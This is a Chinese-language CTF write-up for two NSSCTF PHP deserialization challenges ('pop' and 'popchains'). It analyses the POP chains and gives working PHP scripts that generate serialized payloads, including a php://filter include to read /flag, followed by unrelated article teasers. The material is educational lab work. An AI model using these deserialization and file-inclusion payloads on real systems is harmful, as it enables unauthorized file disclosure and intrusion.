NSSCTF-Web题目17(反序列化)

目录

[SWPUCTF 2021 新生赛]pop

1、题目

2、知识点

3、思路

[NISACTF 2022]popchains

4、题目

5、知识点

6、思路


[SWPUCTF 2021 新生赛]pop

1、题目

2、知识点

php反序列化,代码审计

3、思路

打开题目

出现代码,接下来我们逐步对代码进行分析

1、先看第一个类:wllm4

这里类里面包含了Getflag()函数,里面有echo $flag,也就是说这个类是读取flag的

需要满足条件,变量admin=w44m,变量passwd=08067

2、第二个类:w22m

这里出现了一个析构函数,__destruct()

这个方法简而言之就是:当w22m调用完被销毁(释放内存)的时候会调用这个析构函数

题目这个析构函数会输出变量$w00m的内容

3、第三个类:w33m

这里出现了一个析构函数,__toString()

简而言之:当这个函数所在的类被当成字符串时就会被调用

类中有两个变量,$w00m $w22m,我们可以将类赋给w00m,将类中的方法赋给w22m,例如,实例化w44m这个类,调用GETflag函数,如下

$this->w00m->{$this->w22m}();变成 wllm4 Getflag();

4、

最后,我们需要通过GET方式上传一个w00m变量,需要进行序列化后上传

那么,问题来了,我们可以怎么调用wllm4类中的Getflag类得到flag呢?

通过上面的分析,w33m类可以调用类中的方法,那我们就可以将w44m类和Getflag函数分别传给w33m中的两个变量,那该如何调用w33m这个类呢,我们可以实例化w22m这个类,把w33m这个类赋给w22m类中的变量,我们可以定义一个变量,实例化w22m类

payload如下:

//先把类中的变量定义好,构造得到flag的条件

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a=new w22m; //实例化w222m类
$a->w00m=new w33m; //实例化w33m类,并赋给W22m类中的变量
$a->w00m->w00m= new w44m; //实例化w44m类,并赋给W33m类中的变量w00m
$a->w00m->w22m='Getflag'; //Getflag 赋给W33m类中的变量w22m

echo urlencode(serialize($a)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码

?>

?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D

得到flag:NSSCTF{116a39db-968e-4bf6-8b65-b0d4559d0f6f}


[NISACTF 2022]popchains

4、题目

5、知识点

反序列化,伪协议

6、思路

打开题目,出现源码,我们还是逐段分析

1、

这个需要我们使用GET方式上一个一个wish变量

2、 Road_is_Long类

这里出现了三个析构函数:

__construct:在类被实例化时调用

__wakeup:在类被反序列化之前调用,主要作用是对字符串进行检验,这里有一个正则表达式

__toString:类被当成字符串时被调用

这个类的意思:

变量page、变量string,当类被实例化是调用__construct,page=index.php

当类被当成字符串被调用时调用__toString,返回变量page、变量string的内容

3、 Try_Work_Hard类

出现一个析构函数__invoke:当对象被当成函数调用时 就调用这个析构函数

这个类的意思:

变量var,当这个类被当成函数调用时 就会将var的值被append()函数调用,变成

include($var),这里出现了include,我们可以使用php伪协议来构造payload,

php://filter/read=convert.base64-encode/resource=flag.php

这里就是获取flag的点

4、Make_a_Change类

__get:获取私有属性时被调用

这个类的意思是当调用私有属性时,__get会执行,然后将变量effort赋给变量function,返回一个函数结果

经过上面的分析,如果获取flag呢?重点在Try_Work_Hard类,变量var=php://filter/read=convert.base64-encode/resource=flag.php,当Try_Work_Hard类被当成函数执行时就可以执行append函数,

var是私有属性,刚好Make_a_Change类在调用私有属性时会将将变量当成函数返回,这里我们就可以将Try_Work_Hard 实例化赋给effort变量,

最后我们先实例化一个 Road_is_Long类,将Make_a_Change类的结果赋给string,然后再实例化 Road_is_Long类,将string传给新的对象,调用__toString函数,得到flag

payload如下:

<?php
class Road_is_Long{
    public $page;
    public $string;
}

class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";
}

class Make_a_Change{
    public $effort;
}

$a=new Try_Work_Hard; //实例化Try_Work_Hard类
$b=new Make_a_Change; //实例化Make_a_Change类
$b->effort=$a; //将Try_Work_Hard类当成函数执行
$c=new Road_is_Long;  //先实例化第一个Road_is_Long类
$c->string=$b; 
$d=new Road_is_Long;  //先实例化第二个Road_is_Long类
$d->page=$c;   //获取Road_is_Long类的page

echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码

?>

PHP 在线工具 | 菜鸟工具 (jyshare.com)

这里的提示的flag.php是错误的,没有内容回显,为什么是/flag,这个就是靠猜了

Base64解码 Base64编码 UTF8 GB2312 UTF16 GBK 二进制 十六进制 解密 - The X 在线工具 (the-x.cn)

得到flag:NSSCTF{213f8911-2408-4429-9a25-a564873795c3}


这篇文章就先写到这里了,哪里不懂的或者哪里不好的欢迎批评指正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/749064.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

模型情景制作-冰镇啤酒

夏日炎炎&#xff0c;当我们在真实世界中开一瓶冰镇啤酒的时候&#xff0c;我们也可以为模型世界中的人物添加一些冰镇啤酒。 下面介绍一种快速酒瓶制造方法&#xff0c;您只需要很少工具&#xff1a; 截取尽量直的流道&#xff08;传说中的板件零件架&#xff09;,将其夹在您的…

惠普笔记本双指触摸不滚屏

查看笔记本型号 一般在笔记本背面很小的字那里 进入惠普官网 笔记本、台式机、打印机、墨盒与硒鼓 | 中国惠普 (hp.com) 选择“支持”>“解决问题”>“软件与驱动程序” 选择笔记本 输入型号&#xff0c;选择操作系统 下载驱动进行完整 重启之后进行测试

404 Not Found(nginx)

#vue-router history 配置location / {add_header Access-Control-Allow-Origin *;add_header Access-Control-Allow-Headers *;add_header Cross-Origin-Embedder-Policy require-corp;add_header Cross-Origin-Opener-Policy same-origin;try_files $uri $uri/ router;index …

阿里云centos 7.9 使用宝塔面板部署.netcore 6.0

前言&#xff1a; 我有一个netcore6.0的系统接口和手机端程序的站点程序之前是部署在一台windows测试服务器的IIS站点中&#xff0c; 服务器最近压力太大扛不住了&#xff0c;买了一台centos7.9的阿里云服务器准备进行迁移。具体操作日记如下。 一、安装宝塔面板 这一步涉及…

一个去掉PDF背景水印的思路

起因 昨天测试 使用“https://github.com/VikParuchuri/marker” 将 pdf 转 Markdown的过程中&#xff0c;发现转换后的文件中会保护一些背景图片&#xff0c;是转换过程中&#xff0c;程序把背景图识别为了内容。于是想着怎么把背景图片去掉。 背景水印图片的特征 我这里拿…

花8000元去培训机构学习网络安全值得吗,学成后就业前景如何?

我就是从培训机构学的网络安全&#xff0c;线下五六个月&#xff0c;当时学费不到一万&#xff0c;目前已成功入行。所以&#xff0c;只要你下决心要入这一行&#xff0c;过程中能好好学&#xff0c;那这8000就花得值~ 因为只要学得好&#xff0c;工作两个多月就能赚回学费&am…

MySQL递归查询(with recursive)

背景 日常开发中经常会有那种 阶梯式 数据&#xff0c;比如做地图、菜单&#xff0c;裂变给上级、上上级分红等等这样的需求的时候 你需要找个一个对象的 上级&#xff0c;上上级&#xff0c;上上上级 建了一张很容易理解阶级的表&#xff0c;一目了然 很多时候我们的需求就是…

测试开发工程师需要掌握什么技能?

测试开发工程师是软件开发中至关重要的角色之一。他们负责编写、维护和执行自动化测试脚本、开发测试工具和框架&#xff0c;以确保软件的质量和稳定性。为了成为一名优秀的测试开发工程师&#xff0c;你需要掌握以下技能&#xff1a; 1. 编程技能&#xff1a; 作为测试开发工…

java设计模式(七)适配器模式(Adapter Pattern)

1、模式介绍&#xff1a; 适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许将一个类的接口转换成客户希望的另外一个接口。适配器模式通常用于需要复用现有的类&#xff0c;但是接口与客户端的要求不完全匹配的情况。它包括两种形式&…

鸿蒙面试心得

自疫情过后&#xff0c;java和web前端都进入了冰河时代。年龄、薪资、学历都成了找工作路上躲不开的门槛。 年龄太大pass 薪资要高了pass 学历大专pass 好多好多pass 找工作的路上明明阳关普照&#xff0c;却有一种凄凄惨惨戚戚说不清道不明的“优雅”意境。 如何破局&am…

不用翻墙,手把手教你用MAC本地版免费ComfyUI搭建Stable Diffusion工作流,让出图效率起飞

AI绘图如火如荼发展了这么久&#xff0c;从mj到SD webUI,再到时下最热门的Comfy UI。因为显存的问题对Mac用户一直不是很友好&#xff0c;阻碍了大部分设计师上手学习的道路。但是Comflowy解决了这个痛点。这是一款Mac系统可用本地版的sd&#xff0c;一键安装&#xff0c;让苹果…

【Sklearn驯化-聚类指标】搞懂机器学习中聚类算法评估指标,轮廓系数、戴维森堡丁指数

【Sklearn驯化-聚类指标】搞懂机器学习中聚类算法评估指标&#xff0c;轮廓系数、戴维森堡丁指数 本次修炼方法请往下查看 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合&#xff0c;智慧小天地&#xff01; &#…

OnlyOffice测评

官方链接&#xff1a; https://www.onlyoffice.com/zh/office-suite.aspx https://www.onlyoffice.com/zh/pdf-editor.aspx OnlyOffice&#xff1a;引领办公效率的新标杆 在数字化时代的浪潮中&#xff0c;办公软件已经成为我们日常工作中不可或缺的一部分。然而&#xff0c;…

马斯克的SpaceX星舰有多牛?我们离殖民火星还有多远?

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 埃隆马斯克是一位知名的企业家和工程师&#xff0c;他掌握着多家公司&#xff0c;涉及多个领域&#xff0c;包括电动汽车、太空探索、太阳能、脑…

入门JavaWeb之 Response 下载文件

web 服务器接收到客户端的 http 请求 针对这个请求&#xff0c;分别创建一个代表请求的 HttpServletRequest 对象&#xff0c;代表响应的 HttpServletResponse 对象 获取客户端请求过来的参数&#xff1a;HttpServletRequest 给客户端响应一些信息&#xff1a;HttpServletRe…

【LeetCode】五、哈希表相关:统计重复元素 + 找不同

文章目录 1、哈希表结构2、Java中的哈希表3、leetcode217&#xff1a;统计重复元素4、leetcode389&#xff1a;找不同5、leetcode496&#xff1a;下一个更大元素 1、哈希表结构 又叫散列表&#xff0c;存键值对&#xff0c;将key用哈希函数转为数组下标索引 当两个不同的key经…

多功能气象传感器的工作原理

TH-WQX9多功能气象传感器是一种集成了多种传感器技术的气象观测装置&#xff0c;旨在同时测量和监测大气中的多个气象要素&#xff0c;以提供全面、准确的气象信息。以下是关于多功能气象传感器的详细介绍&#xff1a; 技术原理 多功能气象传感器采用多种传感器技术相结合&…

[C++][设计模式][原型模式]详细讲解

1.动机 在软件系统中&#xff0c;经常面临这“某些结构复杂的对象”的创建工作&#xff1b;由于需求的变化&#xff0c;这些对象经常面临着剧烈的变化&#xff0c;但是它们却拥有比较稳定一致的接口如何应对这种变化&#xff1f;如何向“客户程序(使用这些对象的程序)”隔离出…

【FFmpeg】avformat_alloc_output_context2函数

【FFmpeg】avformat_alloc_output_context2函数 1.avformat_alloc_output_context21.1 初始化AVFormatContext&#xff08;avformat_alloc_context&#xff09;1.2 格式猜测&#xff08;av_guess_format&#xff09;1.2.1 遍历可用的fmt&#xff08;av_muxer_iterate&#xff0…

正版软件 | DupInOut Duplicate Finder:智能清理,让数据井然有序

在信息爆炸的时代&#xff0c;我们经常面临数据管理的挑战。DupInOut Duplicate Finder 是一款专为Windows 设计的重复文件查找工具&#xff0c;帮您快速识别并删除重复的文档、音乐、视频和照片&#xff0c;让您的计算环境更加清洁、有序。 精准查找&#xff0c;一键删除 DupI…